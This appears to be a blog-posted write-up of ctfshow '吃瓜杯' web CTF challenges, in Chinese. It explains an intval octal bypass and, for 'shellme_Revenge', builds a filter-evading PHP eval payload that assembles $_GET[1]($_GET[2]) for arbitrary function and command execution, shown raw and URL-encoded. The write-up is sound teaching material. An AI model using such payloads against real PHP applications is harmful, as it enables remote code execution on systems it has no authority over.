ctfshow 吃瓜杯 web 部分题
目录
热身
shellme
shellme_Revenge
热身
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:53:59
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){$num = $_GET['num'];if($num==4476){die("no no no!");}if(preg_match("/[a-z]|\./i", $num)){die("no no no!!");}if(!strpos($num, "0")){die("no no no!!!");}if(intval($num,0)===4476){echo $flag;}
}
源码奉上,这个题在web入门出现过
具体做法如下:
首先看到了字母被禁了
if(!strpos($num, "0"))这个语句告诉我们开头不能为0
很明显我们要用八进制,然后这个地方还要在值前加上一个+或空格
是因为考察了一个intval性质
1.如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,
2.如果字符串以 “0” 开始,使用 8 进制(octal);
3.否则,将使用 10 进制 (decimal)
这个地方字母被禁了,不能16进制,
需要加个+或空格即可绕过
?num=+010574
shellme
直接ctrl+f搜索flag就得到了
shellme_Revenge
过滤掉了超多东西,然后找到hint=%3F
?等于%3F
直接构造
?looklook=1
得到源码
<?php
error_reporting(0);
if ($_GET['looklook']){highlight_file(__FILE__);
}else{setcookie("hint", "?looklook", time()+3600);
}
if (isset($_POST['ctf_show'])) {$ctfshow = $_POST['ctf_show'];if (is_string($ctfshow) || strlen($ctfshow) <= 107) {if (!preg_match("/[!@#%^&*:'\"|`a-zA-BD-Z~\\\\]|[4-9]/",$ctfshow)){eval($ctfshow);}else{echo("fucccc hacker!!");}}
} else {
phpinfo();
}
?>
大体意思为
post传入一个参数ctf_show
ctf_show具有长度的限制
然后又有很禁用的字符等(但给我们了C和123)
然后执行命令
所以我们要构造出
$_GET[0]($_GET[1])
具体的方法为:
NaN(Not a Number,非数)是计算机科学中数值数据类型的一类值,表示未定义或不可表示的值。常在浮点数运算中使用。首次引入NaN的是1985年的IEEE 754浮点数标准。
INF:infinite,表示“无穷大”。 超出浮点数的表示范围(溢出,即阶码部分超过其能表示的最大值)。
进行拼接
$_=C/C;//NAN
$_=1/C//INF
C/C在这,实际在运算的时候会变成0/0。1/C变成1/0
然后想要单个的字符还需要连接一个字符;
<?php
$a = C/C.C;
echo $a[0];//N
?>
我们需要的语句为$GET[0]($GET[1])
<?php
$_=C;
$_++; //D
$C=++$_; //E
$_++; //F
$C_=++$_; //G
$_=(C/C.C)[0]; //N
$_++; //O
$_++; //P
$_++; //Q
$_++; //R
$_++; //S
$_=_.$C_.$C.++$_; //_GET
$$_[1]($$_[2]); //$_GET[1]($_GET[2])
?>
payload:
ctf_show=$_=C;$_++;$C=++$_;$_++;$C_=++$_;$_=(C/C.C)[0];$_++;$_++;$_++;$_++;$_++;$_=_.$C_.$C.++$_;$$_[1]($$_[2]);
但是最后post传入的值要进行url编码
ctf_show=%24_%3DC%3B%24_%2B%2B%3B%24C%3D%2B%2B%24_%3B%24_%2B%2B%3B%24C_%3D%2B%2B%24_%3B%24_%3D(C%2FC.C)%5B0%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D_.%24C_.%24C.%2B%2B%24_%3B%24%24_%5B1%5D(%24%24_%5B2%5D)%3B
还有就是进行命令执行,经过测试passthru没有被禁
ctfshow 吃瓜杯 web 部分题相关推荐
- ctfshow吃瓜杯 web
文章目录 热身 ATTup 代码审计 phar反序列化 shellme shellme_Revenge 热身 <?php/* # -*- coding: utf-8 -*- # @Author: ...
- ctfshow 吃瓜杯八月赛 Misc WriteUp
目录 1.Misc游戏签到 2.吃瓜 3.EZbingo 4.魔王 5.Dinner of Cyanogen 6.Music Game 7.一群强盗 1.Misc游戏签到 别问 问就是玩游戏 套神说的 ...
- CTFshow吃瓜杯的两道web
Shellme_Revenge 在BsidesCTF2021中出过类似的题,利用的是一些数学上的trick 首先是注意到cookie中的hint,所以在请求中加上?looklook=1即可看到源码: ...
- ctfshow吃瓜杯之web(除魔女)详解
shellme 搜索ctfshow即可 热身 <?phpinclude("flag.php"); highlight_file(__FILE__); if(isset($_G ...
- ctfshow吃瓜杯 八月群赛 WriteUp/WP
Web: shellme 题目问题,没什么说的,进去直接搜ctfshow就是flag 热身 签到题,做过web入门的都应该知道怎么绕,分开来看 比如第一个部分可以用小数绕过,第二部分没有字母,可以用8 ...
- ctfshow 摆烂杯web wp
考试前不想复(预)习,正好是ctfshow的摆烂杯,就去做了几道web题 文章目录 web签到 黑客网站 一行代码 web签到 题目要输入三个整数A.B.C,ABC均不可为0,让A³+B³+C³=11 ...
- CTFSHOW菜狗杯 web
文章目录 web签到 web2 c0me_t0_s1gn 我的眼里只有$ 抽老婆 一言既出 驷马难追 TapTapTap Webshell 化零为整 无一幸免 传说之下(雾) 算力超群 算力升级 2 ...
- CTFSHOW 菜狗杯--WEB
WEB签到 eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]); 简单的解释下这个嵌 ...
- [ctf.show.reverse] 吃瓜杯 签层饼,Tea_tube_pot
签层饼 真有一千层函数呀,沿着输入存入的两个变量找,找到3个函数: 主函数给出了flag的组织方式, check1说number2<882408, check2说number1 = number ...
最新文章
- 编译u-boot时候,make distclean 出现rm:无法删除,****是一个目录
- 利用OpenCV求取图像的重心
- Nginx的配置文件
- python123数值运算_python基础篇【第二篇】:数据运算、数据类型
- ThinkPHP 数据库操作之数据表模型和基础模型 ( Model )
- Nmap经常使用的场景用法
- 微信小程序开发教程第七章:微信小程序编辑名片页面开发
- 一个不错的讲解flex 3中自定义事件的文章
- (转)Centos7 Nginx安装
- 春运首日 广西桂林火车站向旅客“送万福”
- 过滤HTML标记、HTML注释、“!@#¥%”等非法字符
- mme设备内部错误_低压配电设备常见故障分析,处理办法介绍
- word中的总页数不包括封面、目录
- java计算机毕业设计中国民航酒店分销系统源码+数据库+系统+lw文档
- 报童模型(2)--经济学含义和应用
- python输出时间差_利用python计算时间差(返回天数)
- linux-xfce4-panel
- 「咕咕网校 - 基础省选」树上问题的进阶 by Drench
- 6阶子群同构于s3或者z6_[2017年整理]离散数学复习.ppt
- 蓝桥杯:真题 回文数字
热门文章
- IOS版伪春菜开发笔记1.1之导入图片并显示
- 英语这样学最有效------少走弯路的学习方法
- ]媒体记者报道新闻,抒情是诗人的事!
- 网吧局域网里的设置外网IP地址、设置内网IP地址、限制内网速度和路由器共享...
- 聚合支付PC端-微信扫码
- 小羊肖恩三季全(ed2k)
- android google服务框架安装
- 数字化商业模式研究——基于LTD(lead to deal)从引导到成交的方法论思想
- linux 打印两个文件内容相同行和不同行(交集和差集)
- 非root权限如何读写Linux文件(转)